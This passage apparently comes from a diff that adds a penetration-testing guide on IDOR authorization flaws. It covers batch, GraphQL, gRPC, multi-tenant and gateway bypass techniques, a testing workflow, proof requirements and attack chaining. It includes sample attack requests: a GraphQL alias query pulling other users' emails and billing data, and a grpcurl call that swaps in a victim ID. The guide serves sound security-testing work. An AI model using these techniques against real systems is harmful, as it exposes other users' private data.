|
+
### Bulk & Batch Operations
|
|
539
|
+
|
|
540
|
+
- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
|
|
541
|
+
- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
|
|
542
|
+
|
|
543
|
+
### Secondary IDOR
|
|
544
|
+
|
|
545
|
+
- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs
|
|
546
|
+
- Fetch or mutate those objects directly
|
|
547
|
+
- Pagination/cursor manipulation to skip filters and pull other users' pages
|
|
548
|
+
|
|
549
|
+
### Job/Task Objects
|
|
550
|
+
|
|
551
|
+
- Access job/task IDs from one user to retrieve results for another (`export/{jobId}/download`, `reports/{taskId}`)
|
|
552
|
+
- Cancel/approve someone else's jobs by referencing their task IDs
|
|
553
|
+
|
|
554
|
+
### File/Object Storage
|
|
555
|
+
|
|
556
|
+
- Direct object paths or weakly scoped signed URLs
|
|
557
|
+
- Attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
|
|
558
|
+
- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
|
|
559
|
+
|
|
560
|
+
### GraphQL
|
|
561
|
+
|
|
562
|
+
- Enforce resolver-level checks: do not rely on a top-level gate
|
|
563
|
+
- Verify field and edge resolvers bind the resource to the caller on every hop
|
|
564
|
+
- Abuse batching/aliases to retrieve multiple users' nodes in one request
|
|
565
|
+
- Global node patterns (Relay): decode base64 IDs and swap raw IDs
|
|
566
|
+
|
|
567
|
+
```graphql
|
|
568
|
+
query IDOR {
|
|
569
|
+
me { id }
|
|
570
|
+
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
|
|
571
|
+
u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
|
|
572
|
+
}
|
|
573
|
+
```
|
|
574
|
+
|
|
575
|
+
### Microservices & Gateways
|
|
576
|
+
|
|
577
|
+
- Token confusion: token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
|
|
578
|
+
- Trust on headers: reverse proxies or API gateways injecting/trusting headers like `X-User-Id`, `X-Organization-Id`; try overriding or removing them
|
|
579
|
+
- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
|
|
580
|
+
|
|
581
|
+
### Multi-Tenant
|
|
582
|
+
|
|
583
|
+
- Probe tenant scoping through headers, subdomains, and path params (`X-Tenant-ID`, org slug)
|
|
584
|
+
- Try mixing org of token with resource from another org
|
|
585
|
+
- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
|
|
586
|
+
|
|
587
|
+
### gRPC
|
|
588
|
+
|
|
589
|
+
- Direct protobuf fields (`owner_id`, `tenant_id`) often bypass HTTP-layer middleware
|
|
590
|
+
- Validate references via grpcurl with tokens from different principals
|
|
591
|
+
|
|
592
|
+
```bash
|
|
593
|
+
# gRPC IDOR test — swap user_id in request
|
|
594
|
+
grpcurl -H "Authorization: Bearer ATTACKER_TOKEN" \
|
|
595
|
+
-d '{"user_id": "VICTIM_USER_ID"}' \
|
|
596
|
+
api.target.com:443 user.UserService/GetProfile
|
|
597
|
+
```
|
|
598
|
+
|
|
599
|
+
---
|
|
600
|
+
|
|
601
|
+
## Bypass Techniques
|
|
602
|
+
|
|
603
|
+
**Parser & Transport**
|
|
604
|
+
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
|
|
605
|
+
- Method tunneling: `X-HTTP-Method-Override`, `_method=PATCH`; or using GET on endpoints incorrectly accepting state changes
|
|
606
|
+
- JSON duplicate keys/array injection to bypass naive validators
|
|
607
|
+
|
|
608
|
+
**Parameter Pollution**
|
|
609
|
+
- Duplicate parameters in query/body to influence server-side precedence (`id=123&id=456`); try both orderings
|
|
610
|
+
- Mix case/alias param names so gateway and backend disagree (userId vs userid)
|
|
611
|
+
|
|
612
|
+
**Cache & Gateway**
|
|
613
|
+
- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users
|
|
614
|
+
- Manipulate Vary and Accept headers
|
|
615
|
+
- Redirect chains and 304/206 behaviors can leak content across tenants
|
|
616
|
+
|
|
617
|
+
**Race Windows**
|
|
618
|
+
- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
|
|
619
|
+
|
|
620
|
+
**Blind Channels**
|
|
621
|
+
- Use differential responses (status, size, ETag, timing) to detect existence
|
|
622
|
+
- Error shape often differs for owned vs foreign objects
|
|
623
|
+
- HEAD/OPTIONS, conditional requests (`If-None-Match`/`If-Modified-Since`) can confirm existence without full content
|
|
624
|
+
|
|
625
|
+
---
|
|
626
|
+
|
|
627
|
+
## IDOR Testing Workflow (End-to-End)
|
|
628
|
+
|
|
629
|
+
```
|
|
630
|
+
Step 1: ID Collection
|
|
631
|
+
→ Run uuid_harvest.py against list/search/export endpoints with OWNER token
|
|
632
|
+
→ Collect UUIDs, integers, slugs into id_corpus.json
|
|
633
|
+
|
|
634
|
+
Step 2: Sequential Enumeration
|
|
635
|
+
→ Run idor_enum.py with VICTIM token + ATTACKER token
|
|
636
|
+
→ Flag any IDs where both tokens return HTTP 200 with non-trivial content
|
|
637
|
+
|
|
638
|
+
Step 3: Batch Testing
|
|
639
|
+
→ Run graphql_idor.py (for GraphQL targets) with victim_ids from corpus
|
|
640
|
+
→ Look for aliased responses returning data from other principals
|
|
641
|
+
|
|
642
|
+
Step 4: Tenant Boundary
|
|
643
|
+
→ Run tenant_idor.py with two different org tokens
|
|
644
|
+
→ Test all header/path/param vectors for cross-tenant access
|
|
645
|
+
|
|
646
|
+
Step 5: Blind Confirmation
|
|
647
|
+
→ Run blind_idor.py on IDs where content is masked
|
|
648
|
+
→ Use ETag/size/timing differentials to prove access exists
|
|
649
|
+
|
|
650
|
+
Step 6: State Change Proof
|
|
651
|
+
→ PATCH/PUT/DELETE a victim's resource using attacker token
|
|
652
|
+
→ Confirm change persisted via GET with victim token
|
|
653
|
+
```
|
|
654
|
+
|
|
655
|
+
---
|
|
656
|
+
|
|
657
|
+
## Validation Requirements
|
|
658
|
+
|
|
659
|
+
1. Demonstrate access to an object not owned by the caller (content or metadata)
|
|
660
|
+
2. Show the same request fails with appropriately enforced authorization when corrected
|
|
661
|
+
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL)
|
|
662
|
+
4. Document tenant boundary violations (if applicable)
|
|
663
|
+
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner)
|
|
664
|
+
|
|
665
|
+
**Minimum proof set:**
|
|
666
|
+
```
|
|
667
|
+
Request 1 (owner): GET /resource/ID → HTTP 200 + content
|
|
668
|
+
Request 2 (attacker, different account): GET /resource/ID → HTTP 200 + same content
|
|
669
|
+
Request 3 (confirm it should be denied): GET /resource/ID without auth → HTTP 401/403
|
|
670
|
+
```
|
|
671
|
+
|
|
672
|
+
## Chaining Attacks
|
|
673
|
+
|
|
674
|
+
- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
|
|
675
|
+
- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
|
|
676
|
+
- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
|
|
677
|
+
- IDOR + Race: bypass spot checks with simultaneous requests
|
|
678
|
+
- IDOR + Mass Assignment: discover a writable ownerId field, then use IDOR ID to point it at victim
|
|
679
|
+
|
|
680
|
+
## False Positives
|
|
681
|
+
|
|
682
|
+
- Public/anonymous resources by design
|
|
683
|
+
- Soft-privatized data where content is already public
|
|
684
|
+
- Idempotent metadata lookups that do not reveal sensitive content
|
|
685
|
+
- Correct row-level checks enforced across all channels
|
|
686
|
+
|
|
687
|
+
## Impact
|
|
688
|
+
|
|
689
|
+
- Cross-account data exposure (PII/PHI/PCI) — CVSS 7.5-9.1
|
|
690
|
+
- Unauthorized state changes (transfers, role changes, cancellations)
|
|
691
|
+
- Cross-tenant data leaks violating contractual and regulatory boundaries
|
|
692
|
+
- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
|
|
693
|
+
|
|
694
|
+
## Pro Tips
|
|
695
|
+
|
|
696
|
+
1. Always test list/search/export endpoints first; they are rich ID seeders
|
|
697
|
+
2. Build a reusable ID corpus from logs, notifications, emails, and client bundles
|
|
698
|
+
3. Toggle content-types and transports; authorization middleware often differs per stack
|
|
699
|
+
4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children
|
|
700
|
+
5. In multi-tenant apps, vary org headers, subdomains, and path params independently
|
|
701
|
+
6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks
|
|
702
|
+
7. Inspect gateways for header trust and cache key configuration
|
|
703
|
+
8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding
|
|
704
|
+
9. Use timing/size/ETag differentials for blind confirmation when content is masked
|
|
705
|
+
10. Prove impact with precise before/after diffs and role-separated evidence
|